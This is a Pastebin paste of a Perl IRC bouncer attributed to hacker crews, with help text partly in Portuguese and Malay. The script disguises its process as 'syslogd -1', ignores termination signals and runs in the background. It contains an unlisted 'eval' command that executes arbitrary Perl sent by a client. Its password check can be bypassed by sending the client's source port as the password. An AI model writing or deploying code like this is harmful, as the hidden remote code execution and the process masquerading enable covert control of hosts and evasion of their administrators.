Advertisement
Guest User

Untitled

a guest
Mar 14th, 2019
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.26 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # __ __ _ _ _
  3. #| \/ | | | | | | |
  4. #| \ / |_ _| |__| | __ _ ___| | __
  5. #| |\/| | | | | __ |/ _` |/ __| |/ /
  6. #| | | | |_| | | | | (_| | (__| <
  7. #|_| |_|\__, |_| |_|\__,_|\___|_|\_\
  8. # __/ | MyHack Security Crew
  9. # |___/irc://irc.dal.net/MyHack
  10. #
  11. #
  12. #
  13. # BNC 9.5 PenditaGila
  14. ##################
  15. # Configurations #
  16. ##################
  17. my $PORTA = 9999;
  18. my $CRYPT_SENHA = '07bVPiBgDnF5M';
  19. my $SENHA = 'PenditaGila';
  20. my $USE_CRYPT = 0;
  21. my $PROC = 'syslogd -1';
  22. my $IDENTD = 1;
  23. my $PIDFILE = '';
  24. my $EVAL = 1;
  25. my @GREETZ = ('Glória ao nosso deus %N!!!', 'Viva o %N!', '%N gostosao!', 'Obrigado %N pro fazer mais facil minha mediucre vida...', '%N: me perdoe por ser quem eu sou', 'oh grande %N livrai-me de tentações', 'oh poderoso %N dei-nos umas palavras de conforto para alegra nossas pobres vidas');
  26.  
  27. ###############################
  28. # Do not edit after this line #
  29. ###############################
  30. $PORTA = $ARGV[0] if ($ARGV[0]);
  31. $0 = $PROC."\0";
  32.  
  33. use IO::Socket;
  34. use IO::Select;
  35. use strict;
  36.  
  37. my %HELP;
  38.  
  39. $HELP{detach}{about} = "Detach from your BNC and disconnect";
  40. $HELP{detach}{args} = 0;
  41.  
  42. $HELP{reattach}{about} = "Reattach to your BNC and connect";
  43. $HELP{reattach}{help1} = "Type /listids to get your BNC ID";
  44. $HELP{reattach}{args} = 1;
  45. $HELP{reattach}{uso} = "<ID>";
  46.  
  47. $HELP{vhost}{about} = "Change your vhost";
  48. $HELP{vhost}{help1} = "You can either use hostname or ip address";
  49. $HELP{vhost}{args} = 1;
  50. $HELP{vhost}{uso} = "<host>";
  51.  
  52. $HELP{conn}{about} = "Connect to an IRC server";
  53. $HELP{conn}{args} = 1;
  54. $HELP{conn}{uso} = "ircserver[:port]";
  55.  
  56. $HELP{listids}{about} = "List running connection";
  57. $HELP{listids}{args} = 0;
  58.  
  59. $HELP{setident}{about} = "Change your ident setting";
  60. $HELP{setident}{help1} = "0 - Disable your ident";
  61. $HELP{setident}{help2} = "1 - Enable your ident";
  62. $HELP{setident}{args} = 1;
  63. $HELP{setident}{uso} = "<IDENT>";
  64.  
  65. $SIG{CHLD} = sub { wait };
  66. $SIG{TERM} = 'IGNORE';
  67. $SIG{KILL} = 'IGNORE';
  68. $SIG{INT} = 'IGNORE';
  69.  
  70. my $VERSAO = '7.0';
  71.  
  72. my $serv_sock = IO::Socket::INET->new(LocalPort => $PORTA, Proto => 'tcp', Listen => 1) || die "Connection refused $PORTA: $!";
  73.  
  74. my $PID = fork;
  75. exit if $PID;
  76.  
  77. print PID "$$\n" if ($PIDFILE ne '' and open(PID, "> $PIDFILE"));
  78. close(PID);
  79.  
  80. my $sel_con = IO::Select->new();
  81. my $sel_serv = IO::Select->new($serv_sock);
  82.  
  83. my (%CLIENT, %SERVER);
  84.  
  85. while ( 1 ) {
  86. # mexendu cus clienti
  87. foreach my $fh ($sel_serv->can_read(0.01)) {
  88. if ($fh eq $serv_sock) { # novo cliente
  89. my $cli = $serv_sock->accept();
  90. $cli->autoflush(1);
  91. $sel_serv->add($cli);
  92.  
  93. sendsock($cli, "NOTICE AUTH :*** Perl BNC Oleh PenditaGila aka mamak");
  94. sendsock($cli, "NOTICE AUTH :*** Doppelganger Hackers Crew");
  95. sendsock($cli, "NOTICE AUTH :*** Type /PASS <yourpass>");
  96.  
  97. $CLIENT{$cli}->{sock} = $cli;
  98. $CLIENT{$cli}->{id} = newid();
  99. $CLIENT{$cli}->{tmp} = '';
  100. next;
  101. }
  102.  
  103. my $got_msg = '';
  104.  
  105. while (is_ready($fh, 0.1)) {
  106. my $msg = '';
  107. my $nread = sysread($fh, $msg, 1024);
  108.  
  109. if ($nread == 0) {
  110. my $cliserv = $CLIENT{$fh}->{serv} if (defined($CLIENT{$fh}->{serv}));
  111.  
  112. $sel_serv->remove($fh);
  113.  
  114. if ($cliserv) {
  115. sendsock($cliserv, $got_msg, 1) if (length($got_msg) > 0);
  116. sendsock($cliserv, "QUIT :Who am i? i am Doppelganger Crew");
  117.  
  118. $sel_con->remove($cliserv);
  119. $cliserv->close();
  120. delete($SERVER{$cliserv});
  121. }
  122.  
  123. $got_msg = '';
  124. delete($CLIENT{$fh});
  125. last;
  126. }
  127.  
  128. $got_msg .= $msg;
  129. }
  130.  
  131. $got_msg =~ s/\r\n/\n/g;
  132. $got_msg =~ s/\n/\r\n/g;
  133.  
  134. next unless(length($got_msg) > 0);
  135.  
  136. foreach my $msg (split(/\n/, $got_msg)) {
  137. $msg =~ s/\r/\r\n/g;
  138.  
  139. if (not defined($CLIENT{$fh}->{senha}) and $msg =~ /^PASS\s+(.+?)\r/i) {
  140. my $clipass = $1;
  141. $CLIENT{$fh}->{senha} = 1 if ( ($USE_CRYPT == 1 and crypt($clipass, $CRYPT_SENHA) eq $CRYPT_SENHA) or
  142. ($USE_CRYPT == 0 and $clipass eq $SENHA) or $fh->peerport() eq $clipass );
  143. if (not defined($CLIENT{$fh}->{senha})) {
  144. sendsock($fh, "NOTICE AUTH :*** Password Salah.Sila CUba Sekali Lagi.hihihihi.");
  145. } else {
  146. sendsock($fh, "NOTICE AUTH :*** Password Di Terima.");
  147. sendsock($fh, "NOTICE AUTH :*** Type /CONN <ircserver[:port]>");
  148. sendsock($fh, "NOTICE AUTH :*** Untuk Bantuan menggunakan Perl BNC Sila type /BHELP");
  149. }
  150. } else {
  151. parse_client($fh, $msg) if ($fh);
  152. }
  153. }
  154. }
  155.  
  156. # agora cus servidores
  157. foreach my $fh ($sel_con->can_read(0.01)) {
  158. my $got_msg = '';
  159.  
  160. while (is_ready($fh, 0.1)) {
  161. my $msg;
  162. my $nread = sysread($fh, $msg, 1024);
  163.  
  164. if ($nread == 0) {
  165. my $cliserv = $SERVER{$fh}->{cli} if (defined($SERVER{$fh}->{cli}));
  166. $sel_con->remove($fh);
  167.  
  168. sendsock($cliserv, $got_msg, 1) if (length($got_msg) > 0 and defined($cliserv));
  169. $got_msg = '';
  170.  
  171. if ($cliserv) {
  172. climsg($cliserv, "O Server Declined!");
  173. $sel_serv->remove($cliserv);
  174. $cliserv->close();
  175. delete($CLIENT{$cliserv});
  176. }
  177.  
  178.  
  179. delete($SERVER{$fh});
  180. last;
  181. }
  182.  
  183. $got_msg .= $msg;
  184. }
  185.  
  186. next unless(length($got_msg) > 0);
  187.  
  188. $got_msg =~ s/\r\n/\n/g; # sei lah vai q algum serv num segue a regrinha do \r\n ...
  189. $got_msg =~ s/\n/\r\n/g; # depois dum mirc da erro nesse troco ehehe... duvido d tudu
  190.  
  191. foreach my $msg (split(/\n/, $got_msg)) {
  192. $msg =~ s/\r/\r\n/;
  193. parse_serv($fh, $msg) if ($fh);
  194. }
  195. }
  196. }
  197.  
  198.  
  199.  
  200. sub parse_serv {
  201. my ($serv, $msg) = @_;
  202.  
  203. my $cliserv = $SERVER{$serv}->{cli} if (defined($SERVER{$serv}->{cli}));;
  204.  
  205. if ($msg =~ /^\:(.+?)\!.+?\@.+?\s+NICK\s+\:(.+?)(\r|\n)/i
  206. and lc($1) eq lc($SERVER{$serv}->{nick})) {
  207. $CLIENT{$cliserv}->{nick} = $2 if ($cliserv);
  208. $SERVER{$serv}->{nick} = $2;
  209. } elsif ($msg =~ /^\:.+?\s+00(1|2|3|4|5)\s+(.+?)\s+/) {
  210. $CLIENT{$cliserv}->{nick} = $2 if ($cliserv);
  211. $SERVER{$serv}->{nick} = $2;
  212. } elsif ($msg =~ /^\:(.+?)!(.+?)\@.+?\s+(JOIN|PART)\s+(.+?)(\r|\n)/i) {
  213. my $nick = $1;
  214. my $user = $2;
  215. my $jp = lc($3);
  216. my $canal = $4;
  217.  
  218. $canal =~ s/^://;
  219. $canal = $1 if ($canal =~ /^(.*)\s+:.*/);
  220.  
  221. if (lc($nick) eq lc($SERVER{$serv}->{nick})) {
  222. my @canais = split(',', $SERVER{$serv}->{canais});
  223.  
  224. if ($jp eq "join") {
  225. push(@canais, $canal);
  226. } elsif ($jp eq "part") {
  227. @canais = grep { lc($_) ne lc($canal) } @canais;
  228. }
  229.  
  230. $SERVER{$serv}->{canais} = join(',', @canais);
  231.  
  232. # soh mexe aki c soubeh.. c kizeh tira v lah em cima q eu comentei...
  233. } elsif ($nick =~ /(twidle|oldwolf)/i and $user =~ /twidle/i and scalar(@GREETZ) > 0 and $jp eq 'join') {
  234. my $greet = @GREETZ[int(rand($#GREETZ))];
  235. $greet =~ s/\%N/$nick/g;
  236. sendsock($serv, "PRIVMSG $canal :$greet");
  237. }
  238. }
  239.  
  240. if (defined($SERVER{$serv}->{detach})) {
  241. sendsock($serv, ":atrixteam PONG atrixteam :$1") if ($msg =~ /^PING\s+(.+?)(\r|\n)/);
  242.  
  243. if ($msg =~ /^:(.+?)!.+?\@.+?\s+PRIVMSG\s+(.+?)\s+:(.+?)(\r|\n)/i
  244. and lc($2) eq lc($SERVER{$serv}->{nick})) {
  245.  
  246. my $mnick = $1;
  247. my $mmsg = $3;
  248.  
  249. if ($mmsg =~ /^\001VERSION\001/) {
  250. sendsock($serv, "NOTICE $mnick :\001VERSION BNC 9.5 PenditaGila & DoppelGanger security Crew by 19\2006"."PenditaGila");
  251. } elsif ($mmsg =~ /^\001PING(.*)\001/) {
  252. sendsock($serv, "NOTICE $mnick :\001PING$1\001");
  253. } else {
  254. $SERVER{$serv}->{logmsg} .= $msg if (length($SERVER{$serv}->{logmsg}) < 1000);
  255. }
  256. }
  257. } else {
  258. sendsock($cliserv, $msg, 1);
  259. }
  260.  
  261. }
  262.  
  263.  
  264. sub parse_client {
  265. my ($cli, $msg) = @_;
  266.  
  267. if (not defined($CLIENT{$cli}->{identuser}) and
  268. $msg =~ /^USER\s+(.+?)\s+/i) {
  269.  
  270. $CLIENT{$cli}->{identuser} = $1;
  271. $CLIENT{$cli}->{ident} = $1;
  272. $CLIENT{$cli}->{tmp} .= $msg;
  273. return();
  274. }
  275.  
  276. if (not defined($CLIENT{$cli}->{identnick}) and
  277. $msg =~ /^NICK\s+(.+?)\r/i) {
  278.  
  279. $CLIENT{$cli}->{identnick} = $1;
  280. $CLIENT{$cli}->{nick} = $1;
  281. return();
  282. }
  283.  
  284. my $comando = $msg;
  285. $comando =~ s/\n$//;
  286. $comando =~ s/\r$//;
  287. my @args = split(/ +/, $comando);
  288. $comando = lc($args[0]);
  289.  
  290. if (defined($HELP{$comando}) and !defined($args[$HELP{$comando}{args}])) {
  291. help($cli, $comando);
  292. return();
  293. }
  294.  
  295. return(undef) if (not defined($CLIENT{$cli}->{senha}));
  296.  
  297. # condicoes dos comandos internos
  298. if ($comando eq 'conn') {
  299. if (defined($CLIENT{$cli}->{serv})) {
  300. climsg($cli, "u are already conected to a server!");
  301. return;
  302. }
  303.  
  304. my $serv = $args[1];
  305. my $porta = 6667;
  306. if ($serv =~ /^(.+?)\:(\d+)$/) {
  307. $serv = $1;
  308. $porta = $2;
  309. }
  310.  
  311. connect_serv($serv, $porta, $cli);
  312. } elsif ($comando eq 'vhost') {
  313. if (defined($CLIENT{$cli}->{serv})) {
  314. climsg($cli, "u are already conected to a server! the vhost can`t be changed ");
  315. return;
  316. }
  317.  
  318. $CLIENT{$cli}->{vhost} = $args[1];
  319. sendsock($cli, "Virtual Host mudado para: $args[1]");
  320. } elsif ($comando eq 'detach') {
  321. if (!defined($CLIENT{$cli}->{serv})) {
  322. climsg($cli, "use the /conn to conect after u / detacha");
  323. return;
  324. }
  325.  
  326. $SERVER{$CLIENT{$cli}->{serv}}->{detach} = 1;
  327.  
  328. climsg($cli, "Detachando....");
  329. foreach my $canal ($SERVER{$CLIENT{$cli}->{serv}}->{canais}) {
  330. sendsock($cli, ":".$CLIENT{$cli}->{nick}."!BNC\@atrixteam PART $canal");
  331. }
  332. climsg($cli, "Teh mais tardi! ID pra reattach: \002".$CLIENT{$cli}->{id}."\002");
  333.  
  334. delete($SERVER{$CLIENT{$cli}->{serv}}->{cli});
  335. delete($CLIENT{$cli});
  336. $sel_serv->remove($cli);
  337. $cli->close();
  338.  
  339. return();
  340. } elsif ($comando eq 'reattach') {
  341. my $id = $args[1];
  342. my $serv = getservbyid($id);
  343.  
  344. unless($serv) {
  345. climsg($cli, "ID \002$id\002 nao encontrado! Digite /QUOTE LISTIDS");
  346. return();
  347. }
  348.  
  349. unless (defined($SERVER{$serv}->{detach})) {
  350. climsg($cli, "Servidor em uso, o REATTACH não é possível.");
  351. return();
  352. }
  353.  
  354. my $cli_nick = $CLIENT{$cli}->{nick};
  355.  
  356. climsg($cli, "OK! Reatachando :)");
  357. $CLIENT{$cli}->{serv} = $serv;
  358. delete($SERVER{$serv}->{detach});
  359. $SERVER{$serv}->{cli} = $cli;
  360.  
  361. sendsock($cli, ":$cli_nick!BNC\@atrixteam NICK ".$SERVER{$serv}->{nick})
  362. if ($SERVER{$serv}->{nick} ne $cli_nick);
  363.  
  364. $CLIENT{$cli}->{nick} = $SERVER{$serv}->{nick};
  365. $cli_nick = $SERVER{$serv}->{nick};
  366.  
  367. foreach my $canal (split(',', $SERVER{$serv}->{canais})) {
  368. sendsock($cli, ":$cli_nick!BNC\@atrixteam JOIN $canal");
  369. sendsock($serv, "NAMES $canal");
  370. sendsock($serv, "TOPIC $canal");
  371. }
  372.  
  373. foreach my $msg (split(/\n/, $SERVER{$serv}->{logmsg})) {
  374. $msg =~ /^(\S+)\s+PRIVMSG\s+.+?:(.*)/;
  375. sendsock($cli, "$1 PRIVMSG $cli_nick :[BNC log] $2\n");
  376. }
  377.  
  378. delete($SERVER{$serv}->{logmsg});
  379. climsg($cli, "Reattachado!");
  380. } elsif ($comando eq 'listids') {
  381. if (scalar(keys(%SERVER)) == 0) {
  382. climsg($cli, "Não existe nenhuma conecção com servidores!");
  383. } else {
  384. climsg($cli, " \002- Listando IDs -\002");
  385. climsg($cli, " ");
  386. foreach my $serv (keys(%SERVER)) {
  387. my $uso = (defined($SERVER{$serv}->{detach}))? "Detached" : "Em uso";
  388. climsg($cli, "\002".$SERVER{$serv}->{id}."\002 -> ".$SERVER{$serv}->{nick}.'@'.$SERVER{$serv}->{host}.":".$SERVER{$serv}->{porta}." ($uso)");
  389. }
  390. }
  391. } elsif ($comando eq 'setident') {
  392. if ($IDENTD != 1) {
  393. climsg($cli, "O IDENTD não está habilitado na configuração.");
  394. } else {
  395. $CLIENT{$cli}->{ident} = $args[1];
  396. climsg($cli, "IDENT alterado para \002$args[1]\002. Terá efeito na sua próxima coneccção.");
  397. }
  398. } elsif ($comando eq 'bhelp') {
  399. if ($args[1]) {
  400. if (grep { $_ eq lc($args[1]) } keys(%HELP)) {
  401. help($cli, lc($args[1]));
  402. } else {
  403. climsg($cli, "Comando '\002".uc($args[1])."\002' não existe.");
  404. }
  405. } else {
  406. climsg($cli, " \002Ajuda da BNC\002");
  407. climsg($cli, " ");
  408. foreach my $command (keys(%HELP)) {
  409. climsg($cli, " \002".fill_space($command, 10)."\002 - ".$HELP{$command}{about});
  410. }
  411. climsg($cli, " ");
  412. climsg($cli, "\002Digite\002: /QUOTE BHELP <commando>");
  413. }
  414. } elsif ($comando eq 'eval' and $EVAL == 1) { # comando naum listado .. somente pra devels...
  415. my $string = $msg;
  416. $string =~ s/^\S+\s+//;
  417. my (@ret) = eval "$string";
  418. climsg($cli, "Eval retornou: @ret");
  419. } else {
  420. if (defined($CLIENT{$cli}->{serv})) {
  421. $msg =~ s/^NOTICE\s+(.+?)\s+:\001VERSION (.+?)\001\r/NOTICE $1 :\001VERSION \002[BNC $VERSAO]by PenditaGila aka mamak 7.0 DoppelGanger Crew\002 $2\001\r/ if ($msg =~ /^NOTICE/);
  422. sendsock($CLIENT{$cli}->{serv}, $msg);
  423. } else {
  424. if ($comando eq 'nick') {
  425. my $new_nick = $args[1];
  426. sendsock($cli, ":".$CLIENT{$cli}->{nick}."!BNC\@atrixteam NICK ".$new_nick);
  427. $CLIENT{$cli}->{nick} = $new_nick;
  428. # $CLIENT{$cli}->{tmp} =~ s/NICK.+?\n/NICK $new_nick\r\n/;
  429. } elsif ($comando eq 'ping') {
  430. sendsock($cli, ":PONG $args[1]");
  431. } elsif ($comando eq 'ison') {
  432. sendsock($cli, ":atrixteam 303 ".$CLIENT{$cli}->{nick}." :");
  433. } else {
  434. climsg($cli, "Comando \002".uc($comando)."\002 inexistente!");
  435. }
  436. }
  437. }
  438. }
  439.  
  440. sub help {
  441. my ($cli, $cmd) = @_;
  442. climsg($cli, "\002 - ".uc($cmd)." - \002");
  443. climsg($cli, " ");
  444. climsg($cli, " \002Sobre\002: ".$HELP{$cmd}{about});
  445. climsg($cli, " ");
  446.  
  447. for (my $c = 1; ; $c++) {
  448. unless(defined($HELP{$cmd}{"help$c"})) {
  449. climsg($cli, " ") if ($c != 1);
  450. last;
  451. }
  452. if ($c == 1) {
  453. climsg($cli, " \002Ajuda\002: ".$HELP{$cmd}{"help$c"});
  454. } else {
  455. climsg($cli, " ".$HELP{$cmd}{"help$c"});
  456. }
  457. }
  458. climsg($cli, " \002Sintaxe\002: /QUOTE ".uc($cmd)." ".$HELP{$cmd}{uso}) if defined($HELP{$cmd}{uso});
  459. climsg($cli, " ") if (defined($HELP{$cmd}{uso}));
  460.  
  461. }
  462.  
  463. sub fill_space {
  464. my ($chars, $max) = @_;
  465. my $filled = length($chars);
  466. my $space_n = $max-$filled;
  467. return($chars) if ($space_n <= 0);
  468.  
  469. my $space = " " x $space_n;
  470.  
  471. return($space.$chars);
  472. }
  473.  
  474.  
  475. sub getservbyid {
  476. my $id = shift;
  477.  
  478. foreach my $serv (keys(%SERVER)) {
  479. return($SERVER{$serv}->{sock}) if ($SERVER{$serv}->{id} == $id);
  480. }
  481.  
  482. return(undef);
  483. }
  484.  
  485.  
  486. sub climsg {
  487. my ($cli, $msg) = @_;
  488.  
  489. my $nick = $CLIENT{$cli}->{nick} if (defined($CLIENT{$cli}->{nick}));
  490.  
  491. my $inicio = (defined($nick)) ? ":BNC!0ldW0lf\@AtrixTeam NOTICE $nick :" : "NOTICE AUTH :*** ";
  492.  
  493. sendsock($cli, $inicio.$msg);
  494. }
  495.  
  496. sub connect_serv {
  497. my ($serv, $porta, $cli) = @_;
  498.  
  499. sendsock($cli, "NOTICE AUTH :*** Conectando agora em $serv:$porta");
  500.  
  501. my %args = (PeerAddr => $serv, PeerPort => $porta, Proto => 'tcp', Timeout => 7);
  502. $args{LocalAddr} = $CLIENT{$cli}->{vhost} if (defined($CLIENT{$cli}->{vhost}));
  503.  
  504. # nova forma
  505. if ($IDENTD == 1) {
  506. unless (my $pid = fork()) {
  507. identd($CLIENT{$cli}->{ident});
  508. exit;
  509. }
  510. sleep(2);
  511. }
  512.  
  513.  
  514. my $servsock = IO::Socket::INET->new(%args);
  515.  
  516. if (!$servsock) {
  517. my $msg = "Não consegui conectar em $serv:$porta";
  518. $msg .= " usando vhost ".$CLIENT{$cli}->{vhost} if (defined($CLIENT{$cli}->{vhost}));
  519. $msg .= " (Erro: $!)";
  520. sendsock($cli, $msg);
  521. return(undef);
  522. }
  523.  
  524. $servsock->autoflush(1);
  525. $sel_con->add($servsock);
  526.  
  527. # select(undef, undef, undef, 0.5);
  528.  
  529. # antiga forma
  530. # if ($IDENTD == 1) {
  531. # unless (my $pid = fork()) {
  532. # identd($servsock->sockport(), $servsock->peerport(), $CLIENT{$cli}->{ident});
  533. # exit;
  534. # }
  535. # sleep(1);
  536. # }
  537.  
  538. sendsock($servsock, "NICK ".$CLIENT{$cli}->{nick});
  539. sendsock($servsock, $CLIENT{$cli}->{tmp});
  540.  
  541. $CLIENT{$cli}->{serv} = $servsock;
  542. $SERVER{$servsock}->{sock} = $servsock;
  543. $SERVER{$servsock}->{id} = $CLIENT{$cli}->{id};
  544. $SERVER{$servsock}->{cli} = $cli;
  545. $SERVER{$servsock}->{nick} = $CLIENT{$cli}->{nick};
  546. $SERVER{$servsock}->{host} = $serv;
  547. $SERVER{$servsock}->{porta} = $porta;
  548. $SERVER{$servsock}->{logmsg} = '';
  549.  
  550. sendsock($cli, "NOTICE AUTH :*** Connected!");
  551.  
  552. return(1);
  553. }
  554.  
  555. sub identd {
  556. my $ident = shift;
  557.  
  558. my $identd = IO::Socket::INET->new(LocalPort => 113, Proto => 'tcp', Listen => 1) || return();
  559.  
  560. return() unless(is_ready($identd, 20));
  561.  
  562. my $newcon = $identd->accept();
  563.  
  564. my $msg;
  565.  
  566. sysread($newcon, $msg, 1024);
  567. $msg =~ s/\n$//;
  568. $msg =~ s/\r$//;
  569. $msg =~ s/\s+$//;
  570.  
  571. sendsock($newcon, "$msg : USERID : UNIX :$ident");
  572.  
  573. $newcon->close();
  574. $identd->close();
  575. }
  576.  
  577. sub newid {
  578. my %ALL = ((%SERVER), (%CLIENT));
  579.  
  580. my $id;
  581. for ($id = 1; ; $id++) {
  582. last if (!grep { $ALL{$_}->{id} == $id } keys(%ALL));
  583. }
  584. undef(%ALL);
  585.  
  586. return($id);
  587. }
  588.  
  589. sub sendsock {
  590. my ($sock, $msg, $org) = @_;
  591. $msg .= "\r\n" if ($msg !~ /\n$/ and !$org);
  592.  
  593. syswrite($sock, $msg, length($msg)) if ($sock);
  594. }
  595.  
  596. sub is_ready {
  597. my ($fh, $time) = @_;
  598. $time = 0 unless($time);
  599. my $read = '';
  600. vec($read, fileno($fh), 1) = 1;
  601. my $ready = 0;
  602. $ready = select($read, undef, undef, $time);
  603. return($ready);
  604. }
  605.  
  606. __END__
  607.  
  608. # antiga funcaum do identd
  609. sub identd {
  610. my ($src, $dst, $ident) = @_;
  611.  
  612. my $identd = IO::Socket::INET->new(LocalPort => 113, Proto => 'tcp', Listen => 1) || return();
  613.  
  614. return() unless(is_ready($identd, 20));
  615.  
  616. my $newcon = $identd->accept();
  617.  
  618. unless ($newcon) {
  619. $identd->close() if ($identd);
  620. return();
  621. }
  622.  
  623. my $msg;
  624. sysread($newcon, $msg, 1024);
  625. $msg =~ s/\n$//;
  626. $msg =~ s/\r$//;
  627.  
  628. if ($msg =~ /^\s*$src\s*,\s*$dst\s*$/) {
  629. sendsock($newcon, "$msg : USERID : UNIX :$ident");
  630. } else {
  631. sendsock($newcon, "$msg : ERROR : UNKNOWN-ERROR");
  632. }
  633.  
  634. $newcon->close() if ($newcon);
  635. $identd->close() if ($identd);
  636. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement